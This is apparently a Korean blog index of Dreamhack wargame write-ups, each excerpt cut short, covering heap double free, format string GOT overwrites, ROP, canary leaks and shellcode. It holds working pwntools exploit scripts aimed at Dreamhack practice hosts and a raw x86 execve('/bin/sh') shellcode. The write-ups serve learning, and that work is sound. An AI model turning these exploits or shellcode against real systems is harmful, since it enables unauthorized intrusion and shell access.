anonymous?

보호기법 확인 1번 메뉴: create signed int __cdecl create(signed int a1) { size_t size; // [esp+0h] [ebp-8h] unsigned int v3; // [esp+4h] [ebp-4h] v3 = __readgsdword(0x14u); if ( a1 > 10 ) return 0; printf("Size: "); __isoc99_scanf("%d", &size); ptr[a1] = malloc(size); if ( !ptr[a1] ) return -1; printf("Data: "); read(0, ptr[a1], size); printf("%p: %s\n", ptr[a1], ptr[a1]); return 0; } - size 입력 - 입력한 siz..

SYSTEM HACKING/Dreamhack 2020. 6. 13. 00:38

익스 시나리오 (1) 힙 할당 (2) Double Free double free 시 청크의 next 포인터에 자기 자신의 주소가, tcache_entry에 자기 자신에 대한 포인터가 적힌다. 만약 청크에 대한 포인터가 ptr이라면 ptr -> ptr 인 것이다. (3) 재할당 - tcache_entry에 적힌 같은 크기의 청크 주소에 할당해준다. - 이때 next 포인터에 printf got를 적는다. ptr -> printf@got 가 된다. (4) 2번째 재할당 - 아직 tcache_entry에는 첫 번째 청크에 대한 주소가 적혀있으므로 재할당해준다. - tcache_enry에는 next 포인터에 적힌 printf@got가 적힌다. (5) printf@got에 할당 - size 체크를 하지 않기 때문..

SYSTEM HACKING/Dreamhack 2020. 6. 12. 01:29

스택 영역의 주소를 알 수 있는 상황에서 스택 영역에 fake chunk를 해제해 tcache_entry에 등록하고 이 영역을 할당받을 때 힙 청크 포인터를 원하는 주소로 바꿀 수 있는 기법이다. 위에서부터 차례로 ptr, v5(size) ptr 변수가 2개가 있는데, 하나는 지역변수이고 다른 하나는 bss 세션에 있는 전역변수이다. 청크 할당 시 전역변수 ptr에 청크에 대한 포인터를 저장하고 입력한 v5(size)만큼 데이터를 입력받는다. 지역변수 ptr은 2번 메뉴에서 해제하고자 하는 청크에 대한 포인터 주소를 입력하면 해당 청크를 해제하기 위해 있는 변수이다. (1) name에 p64(0) + p64(0x50) 입력한다. - 헤더(0x10) + 데이터(0x40) = 0x50 (2) name+0x1..

SYSTEM HACKING/Dreamhack 2020. 6. 12. 01:12

HackCTF의 babyheap 문제를 풀어봤던 경험으로 double free 시 free의 abort로 corruption이 일어나는 것을 이용해서 쉘을 딸 수 있었다. 1. libc leak __malloc_hook, one gadget 주소를 구한다. pwntools의 libc.symbols로 _IO_2_1_stdout_ , __malloc_hook 로 offset 구해서 주소를 구해줬다. 2. 임의 주소 쓰기 취약점 __malloc_hook + one gadget 주면 buf의 __malloc_hook에 buf+1의 one gadget 값이 써진다. 3. double free -> free의 abort로 corruption이 뜨게 해서 쉘을 딴다. double free 환경을 만들어줘서 따로 ma..

SYSTEM HACKING/Dreamhack 2020. 5. 31. 22:42

출력된 buf 주소와 스택이 들어간 위치 확인해보면 buf에서부터 값이 들어간다. \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80 0b에서 계속 끊기는 현상 발생. 0b 없이 만들어야 한다. mov al, 0x0b 원래는 이거인데 0x0b는 어짜피 상수이므로 al 레지스터에 0x0b만 만들어주면 된다. 따라서 sub로 만들든 add로 만들든 11이 되도록 만들면 된다. mov al, 0x08 add al, 0x03 int 0x80 로 만들었다. 이렇게 하니까 정상적으로 쉘코드가 들어가고 return address가 덮혔다! ret에 놉 주소가 들어가있는 것 확인 가능! 그리고 nop으로 ..

SYSTEM HACKING/Dreamhack 2020. 5. 31. 11:21

sprintf 취약점 : printf() 함수와 같다. 결과를 표준출력으로 출력하지 않고 문자열로 출력한다. 1번째에서 AAAA가 출력된다. offset = 1 실행해서 return address 위치를 출력해보면 그냥 0x29 = 40 위치이다. 이 위치에 넣으면 된다. 0xa4 – 4 = 0xa0 (ret 전까지) 0xa0 – %???c 위에서 offset 잘못 구했었다. 그냥 156이므로 이 156을 %156c로 넣고 이 위치에 p32(get_shell)을 넣으면 된다. #!/usr/bin/python from pwn import * #p = process("./basic_exploitation_003") p = remote("host1.dreamhack.games", 8239) elf = ELF(..

SYSTEM HACKING/Dreamhack 2020. 5. 31. 11:17

offset = 1 offset에서 return address까지 거리 계산 : 0x21 #!/usr/bin/python from pwn import * #p = process("./basic_exploitation_002") p = remote("host1.dreamhack.games", 8239) elf = ELF("./basic_exploitation_002") get_shell = elf.symbols['get_shell'] exit_got = elf.got['exit'] # offset = 1 p.sendline(fmtstr_payload(1, {exit_got: get_shell})) p.interactive() #!/usr/bin/python from pwn import * p = proce..

SYSTEM HACKING/Dreamhack 2020. 5. 31. 11:14

#!/usr/bin/python from pwn import * #p = process("./basic_exploitation_001") p = remote("host1.dreamhack.games", 8239) elf = ELF("./basic_exploitation_001") read_flag = elf.symbols['read_flag'] p.sendline('A'*(0x80+4) + p32(read_flag)) p.interactive()

SYSTEM HACKING/Dreamhack 2020. 5. 31. 11:10

#!/usr/bin/python from pwn import * context.log_level = 'debug' #p = process("./basic_rop_x86") p = remote("host1.dreamhack.games", 8235) elf = ELF("./basic_rop_x86") libc = ELF("./libc.so.6") pop_ebx = 0x80486a6 pay = 'A'*(0x44+0x4) pay += p32(elf.plt['puts']) + p32(pop_ebx) + p32(elf.got['puts']) pay += p32(elf.symbols['main']) p.send(pay) p.recvuntil('A'*0x40) leak = u32(p.recvuntil('\xf7')) ..

SYSTEM HACKING/Dreamhack 2020. 5. 31. 11:09

A까지 받으려고 했는데 잘 안돼서 하위 3바이트 offset은 똑같을 것이므로(?) ‘\x90’까지 받고 뒤에 \x90 붙이고 앞에 \x00\x00을 붙여서 leak을 했고 libc base 구한 후 one gadget off를 더해서 one gadget을 구했다. 그리고 return address->onegadget하면 쉘 획득! #!/usr/bin/python from pwn import * context.log_level = 'debug' #p = process("./basic_rop_x64") p = remote("host1.dreamhack.games", 8248) elf = ELF("./basic_rop_x64") libc = elf.libc pop_rdi = 0x00400883 pay = '..

SYSTEM HACKING/Dreamhack 2020. 5. 31. 11:06

코드에서 v5가 0이 아니면 exit을 한다. 따라서 buf(24) | v5(8) | SFP(8) | RET(8) 구조인데 ‘A’*24 + p64(0) + ‘B”*8 + p64(one_gadget)으로 페이로드를 줘서 if 조건을 넘어가고 return 0로 리턴하도록 한다. #!/usr/bin/python from pwn import * context.log_level = 'debug' #p = process("./oneshot") p = remote("host1.dreamhack.games", 8246) elf = ELF("./oneshot") libc = ELF("./libc.so.6") one_gadget_off = [0x45216, 0x4526a, 0xf02a4, 0xf1147] p.recvunt..

SYSTEM HACKING/Dreamhack 2020. 5. 31. 10:55

32비트에서 size_t는 4바이트. int형은 항상 4바이트 __int16은 16-bit 정수이다. short형과 동의어이다. 2바이트 P 메뉴에서 취약점 : v7 변수에서 index만큼 위치한 곳의 값을 출력해준다. canary 위치와의 offset을 계산하여 인덱스를 구하면 canary leak이 가능하다. E 메뉴에서 취약점 : nbytes 크기 정해져 있지 않으므로 v8에서 BOF 취약점 발생. P에서 canary leak 후 E에서 canary 위치에 canary 주고 return address에 get_shell 주면 된다. unsigned __int8 = 1바이트 따라서 0x41이 한 인덱스 카나리 위치까지는 0x84일 것. 1. 카나리 leak하는 방법 한 바이트씩 str로 출력되므로 처..

SYSTEM HACKING/Dreamhack 2020. 5. 31. 10:53